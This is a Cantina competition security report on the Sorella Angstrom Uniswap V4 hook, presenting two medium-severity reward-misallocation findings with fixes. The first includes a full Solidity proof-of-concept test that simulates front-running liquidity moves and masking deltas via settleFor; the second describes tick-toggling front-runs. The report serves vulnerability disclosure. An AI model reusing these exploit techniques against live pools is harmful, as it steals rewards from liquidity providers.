CANTINA

Sorella Angstrom

Competition

December 23, 2024

Contents

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

A competition provides a broad evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While competitions endeavor to identify and disclose all potential security issues, they cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities, therefore, any changes made to the code would require an additional security review. Please be advised that competitions are not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity	Description
Critical	*Must* fix as soon as possible (if already deployed).
High	Leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
Medium	Global losses <10% or losses to only a subset of users, but still unacceptable.
Low	Losses will be annoying but bearable. Applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.
Gas Optimization	Suggestions around gas saving practices.
Informational	Suggestions around best practices or readability.

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

Sorella Angstrom is a Uniswap V4 hook that protects both LPs and swappers, paving the way for sustainable, decentralized, and welfare-maximizing decentralized exchanges. Angstrom addresses the critical issues of LVR (loss versus rebalancing) for LPs and sandwich attacks on users, ensuring a fairer and more efficient trading environment.

From Nov 11th to Nov 25th Cantina hosted a competition based on sorella-angstrom. The participants identified a total of **17** issues in the following risk categories:

- Critical Risk: 0
- High Risk: 0
- Medium Risk: 2
- Low Risk: 4
- Gas Optimizations: 0
- Informational: 11

The present report only outlines the **critical**, **high** and **medium** risk issues.

3 Findings

3.1 Medium Risk

3.1.1 Missing Tick and Liquidity Checks in `_decodeAndReward` (`currentOnly=true`) Enables Front-Running and Slippage Attacks

Submitted by Kokkiri, also found by pkqs90 and Kaden

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: The `_decodeAndReward` function in the `GrowthOutsideUpdate` contract lacks proper validation of the current tick price and liquidity when the `currentOnly` flag is set to `true`. This vulnerability allows attackers to manipulate liquidity and receive disproportionate rewards by front-running bundle executions.

The vulnerability exists in the `_decodeAndReward` function within the `GrowthOutsideUpdater` contract. When the `currentOnly` flag is set to `true`, the function fails to verify that the liquidity in the current range at the moment of execution matches the expected liquidity when the bundle transaction was sent. Additionally, it does not ensure that the tick at the time of execution aligns with the tick expected by the node when the transaction was sent with the bundle. This oversight allows an attacker to front-run the bundle execution transaction by manipulating the liquidity near the expected tick, thereby obtaining disproportionate rewards.

Furthermore, this manipulation affects the price slippage of the corresponding `poolUpdate` swap operation. The price slippage exceeds expectations because the attacker's manipulated liquidity alters the pool dynamics. Although, at the end of the bundle execution, the token amounts are settled to the pool based on the price slippage calculated before the attacker's liquidity manipulation, and the balance deltas do not match, the attacker can potentially zero out the deltas. To prevent the pool from becoming insolvent and the transaction from reverting, the attacker can insert a `FlashOrder` into the bundle with a hook call that invokes `settleFor`. This call corrects the insolvency of the Angstrom contract and sends the missing tokens to the Uniswap `PoolManager`.

As a result, the attacker could gain a disproportionate share of the rewards originally designated to other liquidity providers' ranges and manipulate the price slippage. This manipulation can cause temporary discrepancies between on-chain and off-chain price states and potentially lead to failures in executing standing orders sent to the off-chain node, depending on the implementation of the off-chain service. These standing orders could include stop-loss or take-profit orders, and their failure to execute could result in losses for users of the Angstrom contract.

Example Attack Scenario:

1. **Initial State:**
   - The pool has a current liquidity of `1e18` across the full tick range and a position at ticks `[0, 60]` with liquidity `331e18`. The current price ratio is 1:1. The attacker also has a position at ticks `[0, 60]` with liquidity `1e18`.
2. **Node Operator Action:**
   - The node operator sends a bundle with a `poolUpdate` operation to swap `1e18 tokenA` for `0.997e18 tokenB`, expecting the swap to end at tick `59`. At the beginning of the bundle, there is a `take` operation that takes `0.997e18 tokenB` from the Uniswap `PoolManager`, and a `settle` operation at the end of the bundle that provides `1e18 tokenA` to the `PoolManager`. Additionally, the attacker includes an `ExactFlashOrder` within the bundle that swaps a small amount of tokens on an arbitrary pool but includes a hook that operates with the attacker's position in the manipulated pool.
3. **Attacker Action:**
   - The attacker front-runs the bundle by removing their liquidity from the position `[0, 60]` and creating a new position `[60, 120]` with liquidity `1000e18`.
4. **Bundle Execution:**
   - The `poolUpdate` operation swaps `1e18 tokenA`, resulting in `0.99699e18 tokenB` due to the altered liquidity, and ends at tick `60`, effectively stopping within the attacker's position range.

- The `_decodeAndReward` function is called with `currentOnly` set to `true`. The function adds rewards for the attacker's position without proper liquidity and tick verification, even though the main portion of liquidity used in the swap was from the position `[0, 60]`.
- The attacker's `FlashOrder` is executed. The hook removes the liquidity from the pool and takes `1000e18` liquidity, along with a significant portion of the rewards. Additionally, the attacker calls `PoolManager.settleFor(tokenA, angstrom, 0.89e13)`, effectively masking the created discrepancy in the accounted balance difference and paying a relatively small amount of `tokenA` compared to the gained rewards.
- The bundle executes other user orders as expected based on the price slippage before the attacker's liquidity manipulation.
- The `Angstrom` settles the `1e18` `tokenA` to the the Uniswap `PoolManager`, and takes `0.997e18` `tokenB` from the Uniswap `PoolManager`, zeroing out the balance deltas.

5. **Outcome:**
   - The attacker ends up receiving a large proportion of rewards that were originally meant to be designated to another position, while avoiding the risks of impermanent loss, as their position is minimally affected by the swap.

If the node operator is a contract with an ability to make multicalls, they could potentially exploit this arbitrage opportunity themselves within the same transaction using flash loans, with low risks of slashing their stake, as the bundle is created and executed correctly.

As a result of this reward distribution manipulation, liquidity providers receive fewer rewards than expected because the rewards originally designated to their ranges are paid to another range.

Impact: The issue is assessed as High impact because it enables attackers to manipulate liquidity and rewards, leading to significant financial losses for honest liquidity providers. By exploiting the reward calculation mechanism, attackers can unjustly enrich themselves at the expense of others, undermining trust in the system. Additionally, the attack can cause temporary discrepancies between on-chain and off-chain price states, which could impact the execution of standing orders sent to node operators.

Likelihood: The likelihood of this attack is Medium because, while it requires specific conditions such as the ability to front-run node operator transactions, sufficient capital to manipulate liquidity, and the presence of exploitable bundles, the public nature of blockchain transactions and the potential for profit make it a viable threat. Skilled attackers with access to MEV instruments and sufficient capital can exploit this vulnerability.

Proof of Concept: A test case with the scenario described above demonstrates the vulnerability.

- The `testWithoutAttack` simulates the normal bundle execution without the attacker performing front-run manipulation.
- The `testWithAttack` simulates the bundle execution with the attack in place.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {BaseTest} from "test/_helpers/BaseTest.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {Angstrom} from "src/Angstrom.sol";
import {Bundle} from "test/_reference/Bundle.sol";
import {PoolUpdate, PoolUpdateLib, RewardsUpdate} from "test/_reference/PoolUpdate.sol";
import {Asset, AssetLib} from "test/_reference/Asset.sol";
import {Pair, PairLib} from "test/_reference/Pair.sol";
import {UserOrder, UserOrderLib} from "test/_reference/UserOrder.sol";
import {TopOfBlockOrder, OrdersLib} from "test/_reference/OrderTypes.sol";
import {PriceAB as Price10} from "src/types/Price.sol";
import {MockERC20} from "super-sol/mocks/MockERC20.sol";
import {IBeforeAddLiquidityHook} from "src/interfaces/IHooks.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {console} from "forge-std/console.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {BalanceDelta, BalanceDeltaLibrary, toBalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {PartialStandingOrder, ExactFlashOrder} from "test/_reference/OrderTypes.sol";
import {EXPECTED_HOOK_RETURN_MAGIC} from "src/interfaces/IAngstromComposable.sol";
```

```
contract AttackTest is BaseTest {
    using PairLib for Pair[];
    using AssetLib for Asset[];
    using UserOrderLib for UserOrder;
    using TickMath for int24;
    using BalanceDeltaLibrary for BalanceDelta;

    PoolManager uni;
    Angstrom angstrom;
    bytes32 domainSeparator;

    address controller = makeAddr("controller");
    address node = makeAddr("node");
    address asset0;
    address asset1;
    mapping(address token => int256) public attackerBalances;

    function setUp() public {
        uni = new PoolManager(address(0));
        angstrom = Angstrom(deployAngstrom(type(Angstrom).creationCode, uni, controller));
        domainSeparator = computeDomainSeparator(address(angstrom));

        vm.prank(controller);
        angstrom.toggleNodes(addressArray(abi.encode(node)));

        (asset0, asset1) = deployTokensSorted();

        // Configure the pool in Angstrom
        vm.prank(controller);
        int24 startTick = 0;
        angstrom.configurePool(asset0, asset1, 60, uint24(0));
        angstrom.initializePool(
            asset0,
            asset1,
            PairLib.getStoreIndex(rawGetConfigStore(address(angstrom)), asset0, asset1),
            startTick.getSqrtPriceAtTick()
        );
        MockERC20(asset0).mint(address(uni), 1000e18);
        MockERC20(asset1).mint(address(uni), 1000e18);
    }

    bool isAttack = false;

    function unlockCallback(bytes memory data) external returns (uint256) {
        // Decode the isAttack flag from the data
        isAttack = abi.decode(data, (bool));

        // Add initial liquidity to the pool
        _addInitialLiquidity();

        // Add liquidity representing other users
        _addUserLiquidity();

        // Add the attacker's liquidity
        _addAttackerLiquidity();

        // If the attack is simulated, than the following liquidity manipulation is performed without
        // node operator's knowledge
        if (isAttack) {
            // Remove attacker's liquidity to manipulate slippage
            _removeAttackerLiquidity();

            // Add attacker's liquidity to a different range
            _addAttackerLiquidityToNextRange();
        }
        return 0;
    }

    function _addInitialLiquidity() internal {
        // Add full range liquidity to the pool
        (BalanceDelta delta, ) = uni.modifyLiquidity(
            PoolKey({
                currency0: Currency.wrap(asset0),
                currency1: Currency.wrap(asset1),
                fee: 0,
```

```
            tickSpacing: 60,
            hooks: IHooks(address(angstrom))
        }),
        IPoolManager.ModifyLiquidityParams({
            tickLower: -887220,
            tickUpper: 887220,
            liquidityDelta: int128(1e18),
            salt: bytes32(0)
        }),
        abi.encode(0)
    );
    // Sync and settle the balances
    _settleLiquidityAddition(delta);
}

function _addUserLiquidity() internal {
    // Add liquidity for other users in a specific tick range
    (BalanceDelta delta, ) = uni.modifyLiquidity(
        PoolKey({
            currency0: Currency.wrap(asset0),
            currency1: Currency.wrap(asset1),
            fee: 0,
            tickSpacing: 60,
            hooks: IHooks(address(angstrom))
        }),
        IPoolManager.ModifyLiquidityParams({
            tickLower: 0,
            tickUpper: 60,
            liquidityDelta: int128(331e18),
            salt: bytes32(keccak256(abi.encode("user's position")))
        }),
        abi.encode(0)
    );
    // Sync and settle the balances
    _settleLiquidityAddition(delta);
}

function _addAttackerLiquidity() internal {
    // Add attacker's liquidity in the same tick range as other users
    (BalanceDelta delta, ) = uni.modifyLiquidity(
        PoolKey({
            currency0: Currency.wrap(asset0),
            currency1: Currency.wrap(asset1),
            fee: 0,
            tickSpacing: 60,
            hooks: IHooks(address(angstrom))
        }),
        IPoolManager.ModifyLiquidityParams({
            tickLower: 0,
            tickUpper: 60,
            liquidityDelta: int128(1e18),
            salt: bytes32(keccak256(abi.encode("attacker's position")))
        }),
        abi.encode(0)
    );
    attackerBalances[asset0] += int256(delta.amount0());
    attackerBalances[asset1] += int256(delta.amount1());
    // Sync and settle the balances
    _settleLiquidityAddition(delta);
}

function _removeAttackerLiquidity() internal {
    // Remove attacker's liquidity to manipulate slippage
    (BalanceDelta delta, ) = uni.modifyLiquidity(
        PoolKey({
            currency0: Currency.wrap(asset0),
            currency1: Currency.wrap(asset1),
            fee: 0,
            tickSpacing: 60,
            hooks: IHooks(address(angstrom))
        }),
        IPoolManager.ModifyLiquidityParams({
            tickLower: 0,
            tickUpper: 60,
            liquidityDelta: int128(-1e18),
            salt: bytes32(keccak256(abi.encode("attacker's position")))
```

```
        }),
        abi.encode(0)
    );
    attackerBalances[asset0] += int256(delta.amount0());
    attackerBalances[asset1] += int256(delta.amount1());
    // Transfer the removed tokens back to the attacker
    uni.take(Currency.wrap(asset0), address(this), uint256(int256(delta.amount0())));
    uni.take(Currency.wrap(asset1), address(this), uint256(int256(delta.amount1())));
}

function _addAttackerLiquidityToNextRange() internal {
    // Add attacker's liquidity to the next tick range
    (BalanceDelta delta, ) = uni.modifyLiquidity(
        PoolKey({
            currency0: Currency.wrap(asset0),
            currency1: Currency.wrap(asset1),
            fee: 0,
            tickSpacing: 60,
            hooks: IHooks(address(angstrom))
        }),
        IPoolManager.ModifyLiquidityParams({
            tickLower: 60,
            tickUpper: 120,
            liquidityDelta: int128(1000e18),
            salt: bytes32(0)
        }),
        abi.encode(0)
    );
    attackerBalances[asset0] += int256(delta.amount0());
    attackerBalances[asset1] += int256(delta.amount1());
    // Sync and settle the balances
    _settleLiquidityAddition(delta);
}

function _settleLiquidityAddition(BalanceDelta delta) internal {
    // Sync and settle the amounts for asset0
    uni.sync(Currency.wrap(asset0));
    MockERC20(asset0).mint(address(uni), uint256(int256(-delta.amount0())));
    uni.settle();
    // Sync and settle the amounts for asset1
    uni.sync(Currency.wrap(asset1));
    MockERC20(asset1).mint(address(uni), uint256(int256(-delta.amount1())));
    uni.settle();
}

function compose(address from, bytes memory data) external returns (uint32) {
    if (isAttack) {
        // Simulate the attacker manipulating the pool by adding asset0
        uni.sync(Currency.wrap(asset0));
        MockERC20(asset0).mint(address(uni), 8978009194645);
        uni.settleFor(address(angstrom));
        // Remove attacker's liquidity from the next tick range
        (BalanceDelta delta, ) = uni.modifyLiquidity(
        PoolKey({
            currency0: Currency.wrap(asset0),
            currency1: Currency.wrap(asset1),
            fee: 0,
            tickSpacing: 60,
            hooks: IHooks(address(angstrom))
        }),
        IPoolManager.ModifyLiquidityParams({
            tickLower: 60,
            tickUpper: 120,
            liquidityDelta: int128(-1000e18),
            salt: bytes32(0)
        }),
            abi.encode(0)
        );
        delta = toBalanceDelta(delta.amount0() + 96909078945007087, delta.amount1());
        attackerBalances[asset0] += int256(delta.amount0());
        attackerBalances[asset1] += int256(delta.amount1());
        // Transfer the removed tokens back to the attacker
        uni.take(Currency.wrap(asset0), address(this), uint256(int256(delta.amount0())));
        uni.take(Currency.wrap(asset1), address(this), uint256(int256(delta.amount1())));
    }
    return EXPECTED_HOOK_RETURN_MAGIC;
```

```
}

function testWithoutAttack() public {
    // Setup initial state
    Account memory nodeOperator = makeAccount("nodeOperator");
    Account memory user = _setupAccount("user");
    Account memory attacker = _setupAccount("attacker");

    // Unlock the pool without simulating an attack
    uni.unlock(abi.encode(false));

    // Prepare the bundle
    Bundle memory bundle = _prepareBundle();

    // Create user orders
    bundle.userOrders = new UserOrder[](2);
    bundle.userOrders[0] = _createUserOrder(user, 0.9e18, 0.1e18);
    bundle.userOrders[1] = _createUserOrderWithHook(attacker, 0.1e18, 0);

    // Node operator executes the bundle
    vm.startPrank(node);
    bytes memory payload = bundle.encode(rawGetConfigStore(address(angstrom)));
    angstrom.execute(payload);
    vm.stopPrank();
}

function testWithAttack() public {
    // Setup initial state
    Account memory nodeOperator = makeAccount("nodeOperator");
    Account memory attacker = _setupAccount("attacker");
    Account memory user = _setupAccount("user");

    // Unlock the pool simulating an attack
    uni.unlock(abi.encode(true));

    // Prepare the bundle
    Bundle memory bundle = _prepareBundle();

    // Create user orders
    bundle.userOrders = new UserOrder[](2);
    bundle.userOrders[0] = _createUserOrder(user, 0.9e18, 0.1e18);
    bundle.userOrders[1] = _createUserOrderWithHook(attacker, 0.1e18, 0);

    // Node operator executes the bundle
    vm.startPrank(node);
    bytes memory payload = bundle.encode(rawGetConfigStore(address(angstrom)));
    angstrom.execute(payload);
    vm.stopPrank();
    console.log("attacker's asset0 balance", attackerBalances[asset0]);
    console.log("attacker's asset1 balance", attackerBalances[asset1]);
}

function _setupAccount(string memory name) internal returns (Account memory account) {
    account = makeAccount(name);
    MockERC20(asset0).mint(account.addr, 1000e18);
    MockERC20(asset1).mint(account.addr, 1000e18);
    vm.prank(account.addr);
    MockERC20(asset0).approve(address(angstrom), type(uint256).max);
    vm.prank(account.addr);
    MockERC20(asset1).approve(address(angstrom), type(uint256).max);
}

function _prepareBundle() internal returns (Bundle memory bundle) {
    // Prepare the bundle with assets and pool updates
    bundle.addAsset(asset0).addAsset(asset1).addPair(asset0, asset1, Price10.wrap(1e27));
    bundle.assets[0].take += 997005988023952095; // node operator takes asset0
    bundle.assets[1].settle += 1e18;             // node operator settles asset1

    // Set up the pool update
    PoolUpdate memory poolUpdate;
    poolUpdate.assetIn = asset1;
    poolUpdate.assetOut = asset0;
    poolUpdate.amountIn = 1e18;
    poolUpdate.rewardUpdate.onlyCurrent = true;
    poolUpdate.rewardUpdate.onlyCurrentQuantity = 97005988023952095;
```

```
        bundle.poolUpdates = new PoolUpdate[](1);
        bundle.poolUpdates[0] = poolUpdate;
    }

    function _createUserOrder(Account memory user, uint256 amount, uint256 extraFeeAsset0) internal returns
↪   (UserOrder userOrder) {
        ExactFlashOrder memory order;
        order.exactIn = true;
        order.amount = uint128(amount);
        order.maxExtraFeeAsset0 = uint128(extraFeeAsset0);
        order.minPrice = 0.1e27;
        order.assetIn = asset1;
        order.assetOut = asset0;
        order.validForBlock = uint64(block.number);
        sign(user, order.meta, digest712(order.hash()));
        order.extraFeeAsset0 = uint128(extraFeeAsset0);
        userOrder = UserOrderLib.from(order);
    }

    function _createUserOrderWithHook(Account memory user, uint256 amount, uint256 extraFeeAsset0) internal
↪   returns (UserOrder userOrder) {
        ExactFlashOrder memory order;
        order.exactIn = true;
        order.amount = uint128(amount);
        order.maxExtraFeeAsset0 = uint128(extraFeeAsset0);
        order.minPrice = 0.1e27;
        order.assetIn = asset1;
        order.assetOut = asset0;
        order.validForBlock = uint64(block.number);
        order.extraFeeAsset0 = uint128(extraFeeAsset0);
        order.hook = address(this);
        order.hookPayload = new bytes(0);
        sign(user, order.meta, digest712(order.hash()));
        userOrder = UserOrderLib.from(order);
    }

    function digest712(bytes32 structHash) internal view returns (bytes32) {
        return erc712Hash(domainSeparator, structHash);
    }
}
```

Recommendation: To mitigate this issue, implement liquidity and tick verification checks within the `_decodeAndReward` function when the `currentOnly` flag is `true`. These checks should ensure that the current liquidity matches the expected liquidity and that the current tick matches the expected tick at the time of bundle execution, preventing attackers from manipulating liquidity and ticks undetected.

- Suggested Code Modification:

  In `GrowthOutsideUpdater.sol`:

```
function _decodeAndReward(
    bool currentOnly,
    CalldataReader reader,
    PoolRewards storage poolRewards_,
    PoolId id,
    int24 tickSpacing,
    int24 currentTick
) internal returns (CalldataReader, uint256) {
    int24 expectedTick;
    (reader, expectedTick) = reader.readI24();
    if (currentTick != expectedTick) {
        revert WrongTick(currentTick, expectedTick);
    }
    if (currentOnly) {
        uint128 amount;
        (reader, amount) = reader.readU128();
        uint128 expectedLiquidity;
        (reader, expectedLiquidity) = reader.readU128();
        uint128 actualLiquidity = UNI_V4.getPoolLiquidity(id);
        // Add a check to ensure the actual liquidity matches the expected liquidity
        if (actualLiquidity != expectedLiquidity) {
            revert WrongEndLiquidity(expectedLiquidity, actualLiquidity);
        }
        unchecked {
            poolRewards_.globalGrowth += X128MathLib.flatDivX128(amount, actualLiquidity);
        }
        return (reader, amount);
    }
    // ...
}
```

By enforcing these checks, any unexpected changes in liquidity or tick due to front-running or manipulation will cause the transaction to revert, thereby safeguarding the reward distribution mechanism and preventing the exploit.

3.1.2 Front-run to change initialized ticks will shift reward distribution

Submitted by cergyk, also found by zark, Kokkiri, 00xSEV, BenRai and Kaden

Severity: Medium Risk

Context: GrowthOutsideUpdater.sol#L118-L148

Description: When determining the payload section used in `_decodeAndReward`, the node uses potentially stale data which could lead to reward being misallocated if a malicious user front-runs and changes initialized ticks.

Indeed as long as the number of initialized ticks between `startTick` and `currentTick` stays the same and liquidity at `startTick` is the same, the call to `_rewardAbove`/`_rewardBelow` will not revert when using stale data (because the number of amounts provided in the `reader` is the right one).

A malicious user can use this property by toggling one tick off (A) and another one (B) on (in the range between `startTick` and `currentTick`). This will shift all of the rewards distributed between the ticks A and B by one.

> As we show in the scenario it is possible to do the manipulation without changing the liquidity profile of the pool at all, so that all other parts of the bundle execution are executed the same and the bundle does not revert.

Scenario: Let's consider the execution of `_rewardAbove`, spanning over 5 ticks:

- GrowthOutsideUpdater.sol#L118-L148:

```
function _rewardAbove(
    uint256[REWARD_GROWTH_SIZE] storage rewardGrowthOutside,
    int24 rewardTick,
    CalldataReader reader,
    uint128 liquidity,
    RewardParams memory pool
) internal returns (CalldataReader, uint256, uint256, uint128) {
    bool initialized = true;
    uint256 total = 0;
    uint256 cumulativeGrowth = 0;

    do {
        if (initialized) {
            uint128 amount;
            (reader, amount) = reader.readU128();

            total += amount;
            unchecked {
                cumulativeGrowth += X128MathLib.flatDivX128(amount, liquidity);
                rewardGrowthOutside[uint24(rewardTick)] += cumulativeGrowth;
            }

            (, int128 netLiquidity) = UNI_V4.getTickLiquidity(pool.id, rewardTick);
            liquidity = MixedSignLib.sub(liquidity, netLiquidity);
        }
        (initialized, rewardTick) = UNI_V4.getNextTickLt(pool.id, rewardTick, pool.tickSpacing);
    } while (rewardTick > pool.currentTick);

    return (reader, total, cumulativeGrowth, liquidity);
}
```

- During offchain evaluation:
  - Liquidity distribution:
    * Alice has a position of liquidity L in the range `[B, C]`
    * Bob has liquidity (very small) in positions over ranges `[MIN_TICK, D]` and `[D, MAX_TICK]` (equivalent to liquidity in full-range). Additionally these positions are the only ones having `D` as a boundary.

    Tick status:

end tick	tick A	tick B	tick C	tick D	start tick
initialized	not init	initialized	initialized	initialized	initialized

    Desired reward distribution:

[ET, A]	[A, B]	[B, C]	[C, D]	[D, E]
0	0	20	1	0

    The `amountsArray` encoded in the payload must be an array with the values: `[0, 0, 1, 20, 0]`.

  This is the array which will be read from the reader at GrowthOutsideUpdater.sol#L132

- Bob front-runs: Bob front runs by moving his positions from `[MIN_TICK, D]` and `[D, MAX_TICK]`, to `[MIN_TICK, A]` and `[A, MAX_TICK]` uninitializing `tick D` and initializing `tick A`, without changing available liquidity.
- After front-run:
  - Liquidity distribution:
    * Alice has a position of liquidity L in the range `[B, C]`
    * Bob has liquidity (very small) in positions over ranges `[MIN_TICK, A]` and `[A, MAX_TICK]` (equivalent to liquidity in full-range).

Tick status:

end tick	tick A	tick B	tick C	tick D	start tick
initialized	initialized	initialized	initialized	not init	initialized

- Actual reward distribution:

  Using the `amountsArray` determined in `Desired reward distribution` (`[0, 0, 1, 20, 0]`) and applying to previous tick distribution, results in rewards claimable for ranges:

[ET, A]	[A, B]	[B, C]	[C, D]	[D, E]
0	20	1	0	0

Note that since Bob did not change available liquidity, all other components of the bundle and most notably the swap would behave the same as if the front-run did not happen

Recommendation: Explicitely specify which ticks should be assigned a particular `rewardGrowthOutside` increment:

```
  function _rewardAbove(
      uint256[REWARD_GROWTH_SIZE] storage rewardGrowthOutside,
      int24 rewardTick,
      CalldataReader reader,
      uint128 liquidity,
      RewardParams memory pool
  ) internal returns (CalldataReader, uint256, uint256, uint128) {
      bool initialized = true;
      uint256 total = 0;
      uint256 cumulativeGrowth = 0;

      do {
          if (initialized) {
              uint128 amount;
              (reader, amount) = reader.readU128();
+             (reader, expectedTick) = reader.readU24();
+
+             if (rewardTick != expectedTick) revert UnexpectedRewardTick()

              total += amount;
              unchecked {
                  cumulativeGrowth += X128MathLib.flatDivX128(amount, liquidity);
                  rewardGrowthOutside[uint24(rewardTick)] += cumulativeGrowth;
              }

              (, int128 netLiquidity) = UNI_V4.getTickLiquidity(pool.id, rewardTick);
              liquidity = MixedSignLib.sub(liquidity, netLiquidity);
          }
          (initialized, rewardTick) = UNI_V4.getNextTickLt(pool.id, rewardTick, pool.tickSpacing);
      } while (rewardTick > pool.currentTick);

      return (reader, total, cumulativeGrowth, liquidity);
  }
```